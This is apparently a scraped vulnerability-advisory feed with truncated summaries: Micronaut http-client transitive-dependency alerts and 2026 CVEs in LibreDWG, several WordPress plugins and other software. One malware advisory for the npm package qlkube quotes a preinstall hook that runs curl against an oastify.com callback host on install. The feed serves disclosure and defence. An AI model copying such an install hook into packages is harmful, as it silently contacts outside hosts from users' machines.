io.micronaut:micronaut-discovery-client (1.2.1), io.micronaut:micronaut-function-client (1.2.1) +1 more potentially affected by unknown CVE via io.micronaut:micronaut-http-client (1.2.1)

io.micronaut:micronaut-http-client MAVEN version 1.2.1 is affected by a known vulnerability. The following packages have a transitive dependency on io.micronaut:micronaut-http-client and may be impacted: - io.micronaut:micronaut-discovery-client 1.2.1 - io.micronaut:micronaut-function-client 1.2....

io.micronaut:micronaut-discovery-client (1.1.3), io.micronaut:micronaut-function-client (1.1.3) +1 more potentially affected by unknown CVE via io.micronaut:micronaut-http-client (1.1.3)

io.micronaut:micronaut-http-client MAVEN version 1.1.3 is affected by a known vulnerability. The following packages have a transitive dependency on io.micronaut:micronaut-http-client and may be impacted: - io.micronaut:micronaut-discovery-client 1.1.3 - io.micronaut:micronaut-function-client 1.1....

io.micronaut.security:micronaut-security-oauth2 (2.5.0), io.micronaut.starter:micronaut-micronaut-cli (2.5.5) +5 more potentially affected by unknown CVE via io.micronaut:micronaut-http-client (2.5.5)

io.micronaut:micronaut-http-client MAVEN version 2.5.5 is affected by a known vulnerability. The following packages have a transitive dependency on io.micronaut:micronaut-http-client and may be impacted: - io.micronaut.security:micronaut-security-oauth2 2.5.0 -...

io.micronaut:micronaut-function-client (2.0.1), io.micronaut:micronaut-test-suite-kotlin (2.0.1) +1 more potentially affected by unknown CVE via io.micronaut:micronaut-http-client (2.0.1)

io.micronaut:micronaut-http-client MAVEN version 2.0.1 is affected by a known vulnerability. The following packages have a transitive dependency on io.micronaut:micronaut-http-client and may be impacted: - io.micronaut:micronaut-function-client 2.0.1 - io.micronaut:micronaut-test-suite-kotlin 2.0...

io.micronaut.aws:micronaut-aws-parameter-store (2.2.2), io.micronaut.aws:micronaut-aws-route53 (2.2.2) +4 more potentially affected by unknown CVE via io.micronaut:micronaut-http-client (2.1.2)

io.micronaut:micronaut-http-client MAVEN version 2.1.2 is affected by a known vulnerability. The following packages have a transitive dependency on io.micronaut:micronaut-http-client and may be impacted: - io.micronaut.aws:micronaut-aws-parameter-store 2.2.2 - io.micronaut.aws:micronaut-aws-route...

io.micronaut.configuration:micronaut-aws-common (1.0.2), io.micronaut.configuration:micronaut-netflix-ribbon (1.0.2) +3 more potentially affected by unknown CVE via io.micronaut:micronaut-http-client (1.0.2)

io.micronaut:micronaut-http-client MAVEN version 1.0.2 is affected by a known vulnerability. The following packages have a transitive dependency on io.micronaut:micronaut-http-client and may be impacted: - io.micronaut.configuration:micronaut-aws-common 1.0.2 -...

io.micronaut.aws:micronaut-function-aws-api-proxy (>=1.4.0.m2, <=1.4.1), io.micronaut.aws:micronaut-function-aws-custom-runtime (>=1.4.0.m2, <=1.4.1) +5 more potentially affected by unknown CVE via io.micronaut:micronaut-http-client (1.2.10)

io.micronaut:micronaut-http-client MAVEN version 1.2.10 is affected by a known vulnerability. The following packages have a transitive dependency on io.micronaut:micronaut-http-client and may be impacted: - io.micronaut.aws:micronaut-function-aws-api-proxy =1.4.0.m2, =1.4.0.m2, =1.4.0.m1, =1.4.1 ...

io.micronaut:micronaut-discovery-client (1.3.0.m2), io.micronaut:micronaut-function-client (1.3.0.m2) +1 more potentially affected by unknown CVE via io.micronaut:micronaut-http-client (1.3.0.m2)

io.micronaut:micronaut-http-client MAVEN version 1.3.0.m2 is affected by a known vulnerability. The following packages have a transitive dependency on io.micronaut:micronaut-http-client and may be impacted: - io.micronaut:micronaut-discovery-client 1.3.0.m2 - io.micronaut:micronaut-function-clien...

io.micronaut:micronaut-discovery-client (1.2.7), io.micronaut:micronaut-function-client (1.2.7) +3 more potentially affected by unknown CVE via io.micronaut:micronaut-http-client (1.2.7)

io.micronaut:micronaut-http-client MAVEN version 1.2.7 is affected by a known vulnerability. The following packages have a transitive dependency on io.micronaut:micronaut-http-client and may be impacted: - io.micronaut:micronaut-discovery-client 1.2.7 - io.micronaut:micronaut-function-client 1.2....

io.micronaut.gcp:micronaut-gcp-http-client (2.0.0.m3), io.micronaut.gcp:micronaut-gcp-tracing (>=2.0.0.m1, <=2.0.0.m3) +4 more potentially affected by unknown CVE via io.micronaut:micronaut-http-client (1.3.4)

io.micronaut:micronaut-http-client MAVEN version 1.3.4 is affected by a known vulnerability. The following packages have a transitive dependency on io.micronaut:micronaut-http-client and may be impacted: - io.micronaut.gcp:micronaut-gcp-http-client 2.0.0.m3 - io.micronaut.gcp:micronaut-gcp-tracin...

io.micronaut.configuration:micronaut-security-oauth2 (1.2.3), io.micronaut:micronaut-discovery-client (1.2.8) +2 more potentially affected by unknown CVE via io.micronaut:micronaut-http-client (1.2.8)

io.micronaut:micronaut-http-client MAVEN version 1.2.8 is affected by a known vulnerability. The following packages have a transitive dependency on io.micronaut:micronaut-http-client and may be impacted: - io.micronaut.configuration:micronaut-security-oauth2 1.2.3 -...

CVE-2026-15182 GNU LibreDWG BMP Image dwg.c dwg_bmp heap-based overflow

A vulnerability has been found in GNU LibreDWG up to 0.13.4. The affected element is the function dwgbmp of the file src/dwg.c of the component BMP Image Handler. Such manipulation leads to heap-based buffer overflow. The attack must be carried out locally. The exploit has been disclosed to the...

CVE-2026-15182

A vulnerability has been found in GNU LibreDWG up to 0.13.4. The affected element is the function dwgbmp of the file src/dwg.c of the component BMP Image Handler. Such manipulation leads to heap-based buffer overflow. The attack must be carried out locally. The exploit has been disclosed to the...

MAL-2026-10016 Malicious code in qlkube (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 51bbdab9d33c291290e2f871acd2ebf7bf64c2c66c5124592055669771b6301e The package's package.json declares a preinstall lifecycle script that runs curl https://cwcie03pzedo62twgbs3x6e9l0rsfk39.oastify.com on npm install...

CVE-2026-9235

The DHL eCommerce Benelux for WooCommerce plugin for WordPress is vulnerable to unauthorized modification and loss of data due to a missing capability check and missing nonce verification on the createlabel and deletelabel functions in versions up to, and including, 2.2.3. These functions are wir...

CVE-2026-14372

The Bit Form – Contact Form, Payment Forms, Multi Step Forms, Calculator & Custom Form Builder plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the deleteFiles function in all versions up to, and including, 3.1.1 This makes it possible for...

EUVD-2026-42536

An Incorrect Privilege Assignment vulnerability was discovered in the synchronization functionality due to Arc sensors receiving CLI permissions. An authenticated user with limited privileges can push administrative CLI commands through the sync, altering the device configuration, and/or affectin...

CVE-2026-8996 Backup and Staging by WP Time Capsule <= 1.22.26 - Missing Authorization to Authenticated (Subscriber+) Sensitive Information Exposure via download_recent_decrypted_file_wptc Function

The Backup and Staging by WP Time Capsule plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 1.22.26 via the downloadrecentdecryptedfilewptc. This makes it possible for authenticated attackers, with subscriber-level access and above, to...

CVE-2026-8996 Backup and Staging by WP Time Capsule <= 1.22.26 - Missing Authorization to Authenticated (Subscriber+) Sensitive Information Exposure via download_recent_decrypted_file_wptc Function

The Backup and Staging by WP Time Capsule plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 1.22.26 via the downloadrecentdecryptedfilewptc. This makes it possible for authenticated attackers, with subscriber-level access and above, to...

CVE-2026-47831

Use of a cryptographically weak random number generator in the GenerateRandomPassword function in bosh-windows-stemcell-builder allows a remote attacker to brute-force the resulting SSH login via TCP/22. Affected versions: bosh-windows-stemcell-builder versions prior to v2019.98...